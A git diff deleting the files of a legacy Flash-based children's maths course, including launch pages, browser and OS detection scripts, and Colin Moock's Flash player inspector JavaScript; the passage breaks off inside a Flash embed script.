--- a/Explore/elr/Mathematics/M1001/courses/l1_t2_07.swf
+++ /dev/null
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index aaec784..0000000
--- a/Explore/elr/Mathematics/M1001/courses/l1_t2_08.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M1001/courses/l1_t3_01.swf b/Explore/elr/Mathematics/M1001/courses/l1_t3_01.swf
deleted file mode 100755
index 527931c..0000000
--- a/Explore/elr/Mathematics/M1001/courses/l1_t3_01.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M1001/courses/l1_t3_02.swf b/Explore/elr/Mathematics/M1001/courses/l1_t3_02.swf
deleted file mode 100755
index 4488bb4..0000000
--- a/Explore/elr/Mathematics/M1001/courses/l1_t3_02.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M1001/courses/l1_t3_03.swf b/Explore/elr/Mathematics/M1001/courses/l1_t3_03.swf
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--- a/Explore/elr/Mathematics/M1001/courses/l1_t3_03.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M1001/courses/l1_t3_04.swf b/Explore/elr/Mathematics/M1001/courses/l1_t3_04.swf
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index 42e93d5..0000000
--- a/Explore/elr/Mathematics/M1001/courses/l1_t3_04.swf
+++ /dev/null
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deleted file mode 100755
index 685eadd..0000000
--- a/Explore/elr/Mathematics/M1001/courses/l1_t3_05.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M1001/courses/l1_t3_06.swf b/Explore/elr/Mathematics/M1001/courses/l1_t3_06.swf
deleted file mode 100755
index e84cb06..0000000
--- a/Explore/elr/Mathematics/M1001/courses/l1_t3_06.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M1001/courses/l1_t3_07.swf b/Explore/elr/Mathematics/M1001/courses/l1_t3_07.swf
deleted file mode 100755
index 927d5fe..0000000
--- a/Explore/elr/Mathematics/M1001/courses/l1_t3_07.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M1001/courses/l1_t3_08.swf b/Explore/elr/Mathematics/M1001/courses/l1_t3_08.swf
deleted file mode 100755
index eda2b34..0000000
--- a/Explore/elr/Mathematics/M1001/courses/l1_t3_08.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M1001/html/fpi_blank.html b/Explore/elr/Mathematics/M1001/html/fpi_blank.html
deleted file mode 100755
index def01f9..0000000
--- a/Explore/elr/Mathematics/M1001/html/fpi_blank.html
+++ /dev/null
@@ -1,12 +0,0 @@
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-
-<HTML>
-<HEAD><TITLE>ELearning For Kids</TITLE>
-</HEAD>
-
-<BODY BGCOLOR="#FFFFFF">
-
-
-</BODY>
-</HTML>
-\ No newline at end of file
diff --git a/Explore/elr/Mathematics/M1001/html/fpi_detection.html b/Explore/elr/Mathematics/M1001/html/fpi_detection.html
deleted file mode 100755
index 1484dba..0000000
--- a/Explore/elr/Mathematics/M1001/html/fpi_detection.html
+++ /dev/null
@@ -1,57 +0,0 @@
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-
-<HTML>
-<HEAD><TITLE>moock flash player inspector :: v1.3.6 (js)</TITLE>
-
-<!-- Prevent caching in netscape. 
-     Very important cause netscape tends to mangle cached code -->
-<META HTTP-EQUIV="expires" CONTENT="0">
-<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
-
-<!-- import the fpi logic from external javascript files -->
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="../js/fpi-init.js"></SCRIPT>
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="../js/fpi-writevb.js"></SCRIPT>
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="../js/fpi-main.js"></SCRIPT>
-
-</HEAD>
-
-<BODY BGCOLOR="#FFFFFF">
-
-<!--############################################################
-  IF YOU'RE USING PAGE REDIRECTION, FOLLOW THESE INSTRUCTIONS
-  1) Put some content here to tell the user what's going on
-     while they wait. something like: 
-  "Detecting Macromedia Flash, please wait..."
-
-  2) Delete everything below this point up to 
-  the NOSCRIPT start tag: <NOSCRIPT>
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-
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-  <font size="2" face="Verdana, Arial, Helvetica, sans-serif">Detecting Macromedia Flash 
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-
-<NOSCRIPT>
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-  OR BROWSERS THAT HAVE THEIR SCRIPTING TURNED OFF...
-  ############################################################################
-
-  IF YOU ARE USING PAGE REDIRECT, A META REFRESH GOES HERE. DELETE EVERYTHING
-  BETWEEN THE NOSCRIPT TAGS EXCEPT THE FOLLOWING META TAG:
-  <META HTTP-EQUIV="Refresh" CONTENT="10;URL=noflash.html"> 
-  
-  IF YOU ARE USING CONTENT SWAPPING, THE VALUE OF THE alternateContent VARIABLE
-  SHOULD BE REPEATED HERE. DELETE EVERYTHING BETWEEN THE NOSCRIPT TAGS
-  EXCEPT YOUR alternateContent HTML. FOR EXAMPLE:
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-  
-  -->
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-
-
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-</HTML>
-\ No newline at end of file
diff --git a/Explore/elr/Mathematics/M1001/html/fpi_flash.html b/Explore/elr/Mathematics/M1001/html/fpi_flash.html
deleted file mode 100755
index 53fe5d4..0000000
--- a/Explore/elr/Mathematics/M1001/html/fpi_flash.html
+++ /dev/null
@@ -1,15 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-
-<html>
-<head>
-	<title>ELearning For Kids</title>
-</head>
-
-<body BGCOLOR="#FFFFFF">
-<center>
-  <font size="2" face="Verdana, Arial, Helvetica, sans-serif">You have required 
-  Flash Player installed on your machine.<br>
-  Please click above link to launch the course. </font> 
-</center>
-</body>
-</html>
diff --git a/Explore/elr/Mathematics/M1001/html/fpi_no_flash.html b/Explore/elr/Mathematics/M1001/html/fpi_no_flash.html
deleted file mode 100755
index 51143cb..0000000
--- a/Explore/elr/Mathematics/M1001/html/fpi_no_flash.html
+++ /dev/null
@@ -1,40 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<script language="javascript">
- </script>
- <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head>
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="69%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="318.3" height="107." border="0" align="middle" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                This course requires Macromedia Flash Player 7. It seems like 
-                you don't have flash player installed on your machine. Please 
-                click <a href="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" target="_blank">here</a> 
-                to install latest flash player.</font> 
-                <map name="Map">
-                  <area shape="rect" coords="-3,1,619,156" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-
-</html>
diff --git a/Explore/elr/Mathematics/M1001/html/fpi_upgrade_flash.html b/Explore/elr/Mathematics/M1001/html/fpi_upgrade_flash.html
deleted file mode 100755
index cddd4a3..0000000
--- a/Explore/elr/Mathematics/M1001/html/fpi_upgrade_flash.html
+++ /dev/null
@@ -1,40 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<script language="javascript">
- </script>
- <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head>
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="69%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="250" height="85" border="0" align="middle" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                This course requires Macromedia Flash Player 7. It seems like 
-                you don't have required flash player installed on your machine. 
-                Please click <a href="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" target="_blank">here</a> 
-                to upgrade flash player. </font> 
-                <map name="Map">
-                  <area shape="rect" coords="-327,-67,480,134" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-
-</html>
diff --git a/Explore/elr/Mathematics/M1001/html/launch.html b/Explore/elr/Mathematics/M1001/html/launch.html
deleted file mode 100755
index 5972c48..0000000
--- a/Explore/elr/Mathematics/M1001/html/launch.html
+++ /dev/null
@@ -1,36 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>EFK ::</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-</head>
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="90%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="318" height="107" border="0" align="center" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                It is essential to keep this window open till the entire course 
-                runs.<br>Turn on your speakers and keep the volume high as you enter this course.</font> 
-                <map name="Map">
-                  <area shape="rect" coords="-181,-78,621,124" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-</html>
diff --git a/Explore/elr/Mathematics/M1001/html/os_browser_detection.html b/Explore/elr/Mathematics/M1001/html/os_browser_detection.html
deleted file mode 100755
index bae128e..0000000
--- a/Explore/elr/Mathematics/M1001/html/os_browser_detection.html
+++ /dev/null
@@ -1,12 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script language="javascript" src="../js/browser-detection.js"></script>
-<script>
- </script>
-</head>
-<body>
-</body>
-</html>
diff --git a/Explore/elr/Mathematics/M1001/html/os_not_compatible_page.html b/Explore/elr/Mathematics/M1001/html/os_not_compatible_page.html
deleted file mode 100755
index 9bd6543..0000000
--- a/Explore/elr/Mathematics/M1001/html/os_not_compatible_page.html
+++ /dev/null
@@ -1,39 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="69%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="250" height="85" border="0" align="middle" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                Your computer does not meet the minimum requirements for viewing 
-                this course. It is recommended that you take this course from 
-                any other computer. Please click <a href="http://www.macromedia.com/support/flash/releasenotes/player/rn_6.html#systemrequirements" target="_blank">here</a> 
-                to view System Requirements. </font> 
-                <map name="Map">
-                  <area shape="rect" coords="-214,-45,591,157" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-
-</html>
diff --git a/Explore/elr/Mathematics/M1001/images/bg_03.jpg b/Explore/elr/Mathematics/M1001/images/bg_03.jpg
deleted file mode 100755
index 4c35c15..0000000
--- a/Explore/elr/Mathematics/M1001/images/bg_03.jpg
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M1001/images/efk_logo.png b/Explore/elr/Mathematics/M1001/images/efk_logo.png
deleted file mode 100755
index b84ec18..0000000
--- a/Explore/elr/Mathematics/M1001/images/efk_logo.png
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M1001/images/launch.gif b/Explore/elr/Mathematics/M1001/images/launch.gif
deleted file mode 100755
index da5e37e..0000000
--- a/Explore/elr/Mathematics/M1001/images/launch.gif
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M1001/index.html b/Explore/elr/Mathematics/M1001/index.html
deleted file mode 100755
index 138f828..0000000
--- a/Explore/elr/Mathematics/M1001/index.html
+++ /dev/null
@@ -1,36 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script language="javascript">
-<!--
-	function fnShowPopup(htmlfile){
-		w=700;
-		h=541;
-		 var wo= window.open("media/"+htmlfile,"_blank","width="+w+", height="+h+",scrollbars=no,resizable=no,status=no, left=" + (window.screen.width-w)/2 +", top="+(window.screen.height-h)/2);
-		wo.focus();
-
-	}
-	function finish(){
-		window.opener.close();
-	}
-//-->
-</script>
-<!-- Start of StatCounter Code -->
-<script type="text/javascript">
-var sc_project=3266464; 
-var sc_invisible=0; 
-var sc_partition=35; 
-var sc_security="00f72d2d"; 
-</script>
-
-<script type="text/javascript" src="http://www.statcounter.com/counter/counter_xhtml.js"></script><noscript><div class="statcounter"><a class="statcounter" href="http://www.statcounter.com/"><img class="statcounter" src="http://c36.statcounter.com/3266464/0/00f72d2d/0/" alt="click analytics" /></a></div></noscript>
-<!-- End of StatCounter Code -->
-
-</head>
-<script language="javascript">
-		document.write("<HTML><HEAD><meta http-equiv=Content-Type content=text/html;  charset=ISO-8859-1\"><TITLE>Key Boarding</TITLE>");
-		document.write("</HEAD><BODY scroll=no onUnload=\"finish()\" leftmargin=\"0\" topmargin=\"0\" marginwidth=\"0\" marginheight=\"0\" ><table height=\"100%\" width=\"100%\"><tr><td align=\"center\" valign=\"middle\"><OBJECT classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\"codebase=\"https://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0\" WIDTH=\"800\" HEIGHT=\"600\" id=\"myFlash\" ALIGN=\"\"> <PARAM NAME=movie VALUE=\"interface.swf\"> <PARAM NAME=quality VALUE=high> <PARAM NAME=menu VALUE=false> <PARAM NAME=loop VALUE=false><PARAM NAME=bgcolor VALUE=#FFFFFF> <EMBED src=\"interface.swf\" quality=high bgcolor=#FFFFFF  WIDTH=\"800\" HEIGHT=\"600\" NAME=\"myFlash\" ALIGN=\"\" TYPE=\"application/x-shockwave-flash\" PLUGINSPAGE=\"https://www.macromedia.com/go/getflashplayer\"></EMBED></OBJECT></td></tr></table></BODY></HTML>");
- </script>
-</html>
diff --git a/Explore/elr/Mathematics/M1001/interface.swf b/Explore/elr/Mathematics/M1001/interface.swf
deleted file mode 100755
index 7ddd3ad..0000000
--- a/Explore/elr/Mathematics/M1001/interface.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M1001/js/browser-detection.js b/Explore/elr/Mathematics/M1001/js/browser-detection.js
deleted file mode 100755
index 54d8b3b..0000000
--- a/Explore/elr/Mathematics/M1001/js/browser-detection.js
+++ /dev/null
@@ -1,185 +0,0 @@
-// JavaScript Document v:1.3
-// Requires navigator 2.0, Internet Explorer 3.0
-
-// Browser ::
-//navigator.appVersion
-//navigator.appName
-//navigator.appCodeName(code name of browser)
-
-var agt, os, browser, version, place, thestring, osVer;
-var notCompatiblePage = "../html/os_not_compatible_page.html";
-var compatiblePage = "../html/launch.html";
-var flashDetectionPage = "../html/fpi_detection.html";
-
-// Browser Version Required for Windows
-var winIEVer = 4;
-var winNetscapeVer = 4;
-var winOperaVer = 6;
-var winAOLVer = 7;
-var winMozillaVer = 1;
-
-// Browser Version Required for Mac
-var macIEVer = 5;
-var macNetscapeVer = 4.7;
-var macOperaVer = 5;
-var macMozillaVer = 1;
-
-// Browser Version Required for Linux
-var linuxMozillaVer = 1.1;
-
-function getAgtInfo() {
-	agt = navigator.userAgent.toLowerCase();
-	if (checkIt('konqueror')) {
-		browser = "Konqueror";
-		os = "Linux";
-		osVer = "na";
-	} else if (checkIt('safari')) {
-		browser = "Safari";
-	} else if (checkIt('aol')) {
-		browser = "AOL";
-	} else if (checkIt('opera')) {
-		browser = "Opera";
-		if (agt.indexOf("opera 2") != -1 || agt.indexOf("opera/2") != -1) {
-			version = 2;
-		} else if (agt.indexOf("opera 3") != -1 || agt.indexOf("opera/3") != -1) {
-			version = 3;
-		} else if (agt.indexOf("opera 4") != -1 || agt.indexOf("opera/4") != -1) {
-			version = 4;
-		} else if (agt.indexOf("opera 5") != -1 || agt.indexOf("opera/5") != -1) {
-			version = 5;
-		} else if (agt.indexOf("opera 6") != -1 || agt.indexOf("opera/6") != -1) {
-			version = 6;
-		} else if (agt.indexOf("opera 7") != -1 || agt.indexOf("opera/7") != -1) {
-			version = 7;
-		} else {
-			version = 0;
-		}
-	} else if (checkIt('msie')) {
-		browser = "IE";
-	} else if (!checkIt('compatible')) {
-		browser = "Netscape";
-		//alert(navigator.appVersion.substr(0, 3));
-		//version = agt.charAt(8);
-		version = navigator.appVersion.substr(0, 3);
-		if(Number(version) == NaN || Number(version) == "NaN") {
-			version = agt.charAt(8);
-		}
-	} else if ((agt.indexOf("mozilla")) != -1 && browser == undefined) {
-		browser = "Mozilla";
-	} else {
-		browser = "unknown browser";
-	}
-	if (!version) {
-		version = agt.charAt(place+thestring.length);
-	}
-	if (!os) {
-		if (checkIt('linux')) {
-			os = "Linux";
-			osVer = "na";
-		} else if (checkIt('x11')) {
-			os = "Unix";
-			osVer = "na";
-		} else if (checkIt('mac')) {
-			os = "Mac";
-			if((((agt.indexOf("68k")!=-1) || (agt.indexOf("68000")!=-1)))){
-				osVer = "mac 68k"
-			} else if((((agt.indexOf("ppc")!=-1) || (agt.indexOf("powerpc")!=-1)))) {
-				osVer = "mac powerpc"
-			}
-		} else if (checkIt('win')) {
-			os = "Win";
-			if((((agt.indexOf("win98")!=-1) || (agt.indexOf("windows 98")!=-1)))){
-				osVer = "Win 98"
-			} else if((((agt.indexOf("win95")!=-1) || (agt.indexOf("windows 95")!=-1)))) {
-				osVer = "Win 95"
-			} else if((((agt.indexOf("win 9x 4.90")!=-1)))) {
-				osVer = "Win ME"
-			} else if((((agt.indexOf("windows nt 5.0")!=-1) || (agt.indexOf("windows 2000")!=-1)))) {
-				osVer = "Win 2k"
-			} else if((((agt.indexOf("windows nt 5.1")!=-1) || (agt.indexOf("windows xp")!=-1)))) {
-				osVer = "Win XP"
-			} else if((((agt.indexOf("winnt")!=-1) || (agt.indexOf("windows nt")!=-1)))) {
-				osVer = "Win NT"
-			}
-		} else {
-			os = "unknown operating system";
-		}
-	}
-	checkCompatibility();
-}
-function checkIt(string) {
-	place = agt.indexOf(string)+1;
-	thestring = string;
-	return place;
-}
-function checkCompatibility() {
-	//alert("agt: "+agt+" Your OS is: "+os+" & browser is: "+browser+" & version: "+Number(version));
-	//alert(navigator.appCodeName);
-	if(os != "unknown operating system") {
-		if (os == "Win") {		 
-			if (osVer == "Win 95" || osVer == "Win 98" || osVer == "Win ME" || osVer == "Win NT" || osVer == "Win 2k" || osVer == "Win XP") {
-				if (browser == "IE" && (Number(version) >= winIEVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);					
-				} else if (browser == "Netscape" && (Number(version) >= winNetscapeVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else if (browser == "Opera" && (Number(version) >= winOperaVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else if (browser == "AOL" && (Number(version) >= winAOLVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else if (browser == "Mozilla" && (Number(version) >= winMozillaVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else {
-					window.location.replace(notCompatiblePage);
-					//window.location = compatiblePage;
-				}	
-			} else {
-				window.location.replace(notCompatiblePage);
-				//window.location = notCompatiblePage;
-			}
-		} else if (os == "Mac") {
-			//alert("browser: "+browser+" & macIEVer: "+macIEVer+" & macNetscapeVer: "+macNetscapeVer+" & navigator.appVersion: "+navigator.appVersion);
-			if (browser == "IE" && (Number(version) >= macIEVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "Netscape" && (Number(version) >= macNetscapeVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "Opera" && (Number(version) >= macOperaVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "AOL") {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "Mozilla" && (Number(version) >= macMozillaVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else {
-				window.location.replace(notCompatiblePage);
-				//window.location = compatiblePage;
-			}	
-		} else if (os == "Linux") {
-			if(browser == "Konqueror") {
-				//window.location.replace(compatiblePage);
-				window.location.replace(notCompatiblePage);
-			} else if (Number(version) >= linuxMozillaVer) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else {
-				window.location.replace(notCompatiblePage);
-				//window.location = compatiblePage;
-			}	
-		} else {
-			window.location.replace(notCompatiblePage);
-			//window.location = compatiblePage;
-		}
-	} else {
-		window.location.replace(notCompatiblePage);
-		//window.location = notCompatiblePage;
-	}
-}
-getAgtInfo();
diff --git a/Explore/elr/Mathematics/M1001/js/fpi-init.js b/Explore/elr/Mathematics/M1001/js/fpi-init.js
deleted file mode 100755
index ecd135e..0000000
--- a/Explore/elr/Mathematics/M1001/js/fpi-init.js
+++ /dev/null
@@ -1,46 +0,0 @@
-// moock fpi [f.lash p.layer i.nspector]
-// version: 1.3.7
-// written by colin moock
-// code maintained at: http://www.moock.org/webdesign/flash/detection/moockfpi/
-// terms of use posted at: http://www.moock.org/terms/
-
-
-
-// =============================================================================
-// These are the user defined globals.
-// Modify the following variables to customize the inspection behaviour.
-
-var requiredVersion = 7;   // Version the user needs to view site (max 9, min 2)
-var useRedirect = true;    // Flag indicating whether or not to load a separate
-                           // page based on detection results. Set to true to
-                           // load a separate page. Set to false to embed the
-                           // movie or alternate html directly into this page.
-                           
-// Only set next three vars if useRedirect is true...
-var flashPage   = "../html/fpi_flash.html"    // The location of the flash movie page
-var noFlashPage = "../html/fpi_no_flash.html"  // Page displayed if the user doesn't have the
-                                  // plugin or we can't detect it.
-var upgradePage = "../html/fpi_upgrade_flash.html"  // Page displayed if we detect an old plugin
-var blankPage = "../html/fpi_blank.html"
-// =============================================================================
-
-
-
-// *************
-// Everything below this point is internal until after the BODY tag.
-// Do not modify! Proceed to the BODY tag for further instructions.
-// *************
-
-// System globals
-var flash2Installed = false;    // boolean. true if flash 2 is installed
-var flash3Installed = false;    // boolean. true if flash 3 is installed
-var flash4Installed = false;    // boolean. true if flash 4 is installed
-var flash5Installed = false;    // boolean. true if flash 5 is installed
-var flash6Installed = false;    // boolean. true if flash 6 is installed
-var flash7Installed = false;    // boolean. true if flash 7 is installed
-var flash8Installed = false;    // boolean. true if flash 8 is installed
-var flash9Installed = false;    // boolean. true if flash 9 is installed
-var maxVersion = 9;             // highest version we can actually detect
-var actualVersion = 0;          // version the user really has
-var hasRightVersion = false;    // boolean. true if it's safe to embed the flash movie in the page
-var jsVersion = 1.0;            // the version of javascript supported
-\ No newline at end of file
diff --git a/Explore/elr/Mathematics/M1001/js/fpi-main.js b/Explore/elr/Mathematics/M1001/js/fpi-main.js
deleted file mode 100755
index 2926268..0000000
--- a/Explore/elr/Mathematics/M1001/js/fpi-main.js
+++ /dev/null
@@ -1,101 +0,0 @@
-// Next comes the standard javascript detection that uses the 
-// navigator.plugins array. We pack the detector into a function so that 
-// it preloads before being run.
-
-function detectFlash() {  
-  // If navigator.plugins exists...
-  if (navigator.plugins) {
-    // ...then check for flash 2 or flash 3+.
-    if (navigator.plugins["Shockwave Flash 2.0"]
-        || navigator.plugins["Shockwave Flash"]) {
-
-      // Some version of Flash was found. Time to figure out which.
-      
-      // Set convenient references to flash 2 and the plugin description.
-      var isVersion2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
-      var flashDescription = navigator.plugins["Shockwave Flash" + isVersion2].description;
-
-      // DEBUGGING: uncomment next line to see the actual description.
-      // alert("Flash plugin description: " + flashDescription);
-      
-      // A flash plugin-description looks like this: Shockwave Flash 4.0 r5
-      // We can get the major version by grabbing the character before the period
-      // note that we don't bother with minor version detection. 
-      // Do that in your movie with $version or getVersion().
-      var flashVersion = parseInt(flashDescription.substring(16));
-
-      // We found the version, now set appropriate version flags. Make sure
-      // to use >= on the highest version so we don't prevent future version
-      // users from entering the site.
-      flash2Installed = flashVersion == 2;    
-      flash3Installed = flashVersion == 3;
-      flash4Installed = flashVersion == 4;
-      flash5Installed = flashVersion == 5;
-      flash6Installed = flashVersion == 6;
-      flash7Installed = flashVersion == 7;
-      flash8Installed = flashVersion == 8;
-      flash9Installed = flashVersion >= 9;
-    }
-  }
-  
-  // Loop through all versions we're checking, and
-  // set actualVersion to highest detected version.
-  for (var i = 2; i <= maxVersion; i++) {  
-    if (eval("flash" + i + "Installed") == true) actualVersion = i;
-  }
-  
-  // If we're on msntv (formerly webtv), the version supported is 4 (as of
-  // January 1, 2004). Note that we don't bother sniffing varieties
-  // of msntv. You could if you were sadistic...
-  if(navigator.userAgent.indexOf("WebTV") != -1) actualVersion = 4;  
-  
-  // DEBUGGING: uncomment next line to display flash version
-  // alert("version detected: " + actualVersion);
-
-
-  // We're finished getting the version on all browsers that support detection.
-  // Time to take the appropriate action.
-
-  // If the user has a new enough version...
-  if (actualVersion >= requiredVersion) {
-    // ...then we'll redirect them to the flash page, unless we've
-    // been told not to redirect.
-    if (useRedirect) {
-      // Need javascript1.1 to do location.replace
-      if(jsVersion > 1.0) {
-        // It's safe to use replace(). Good...we won't break the back button.
-        window.location.replace(flashPage);  
-      } else {
-        // JavaScript version is too old, so use .location to load
-        // the flash page.
-        window.location = flashPage;
-      }
-    }
-    
-    // If we got here, we didn't redirect. So we make a note that we should
-    // write out the object/embed tags later.
-    hasRightVersion = true;                
-  } else {  
-    // The user doesn't have a new enough version.
-    // If the redirection option is on, load the appropriate alternate page.
-    if (useRedirect) {
-		//if (confirm("This course requires Macromedia Flash Player 6.\nIt seems like you don't have required flash player installed on your machine.\nWould you like to install Flash Player now?")){
-			//window.open("http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash");
-		//} else {
-			//alert("else part");
-		//}
-      // Do the same .replace() call only if js1.1+ is available.
-      if(jsVersion > 1.0) {
-        //window.location.replace((actualVersion >= 2) ? upgradePage : noFlashPage);
-		 window.location.replace(blankPage);
-		parent.mainFrame.location.replace((actualVersion >= 2) ? upgradePage : noFlashPage);
-      } else {
-        //window.location = (actualVersion >= 2) ? upgradePage : noFlashPage;
-		 window.location = blankPage;
-		parent.mainFrame.location = (actualVersion >= 2) ? upgradePage : noFlashPage;
-      }	 	  
-    }
-  }
-}
-
-detectFlash();  // call our detector now that it's safely loaded. 
-\ No newline at end of file
diff --git a/Explore/elr/Mathematics/M1001/js/fpi-swap.js b/Explore/elr/Mathematics/M1001/js/fpi-swap.js
deleted file mode 100755
index c08f889..0000000
--- a/Explore/elr/Mathematics/M1001/js/fpi-swap.js
+++ /dev/null
@@ -1,33 +0,0 @@
-// In this section we set up the content to be placed dynamically on the page.
-// Customize movie tags and alternate html content below.
-
-if (!useRedirect) {    // if dynamic embedding is turned on
-  if(hasRightVersion) {  // if we've detected an acceptable version
-    var oeTags = '<OBJECT CLASSID="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"'
-    + 'WIDTH="550" HEIGHT="400"'
-    + 'CODEBASE="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">'
-    + '<PARAM NAME="MOVIE" VALUE="movie.swf">'
-    + '<PARAM NAME="PLAY" VALUE="true">'
-    + '<PARAM NAME="LOOP" VALUE="false">'
-    + '<PARAM NAME="QUALITY" VALUE="high">'
-    + '<PARAM NAME="MENU" VALUE="false">'
-    + '<EMBED SRC="movie.swf"'
-    + 'WIDTH="550" HEIGHT="400"'
-    + 'PLAY="true"'
-    + 'LOOP="false"'
-    + 'QUALITY="high"'
-    + 'MENU="false"'
-    + 'TYPE="application/x-shockwave-flash"'
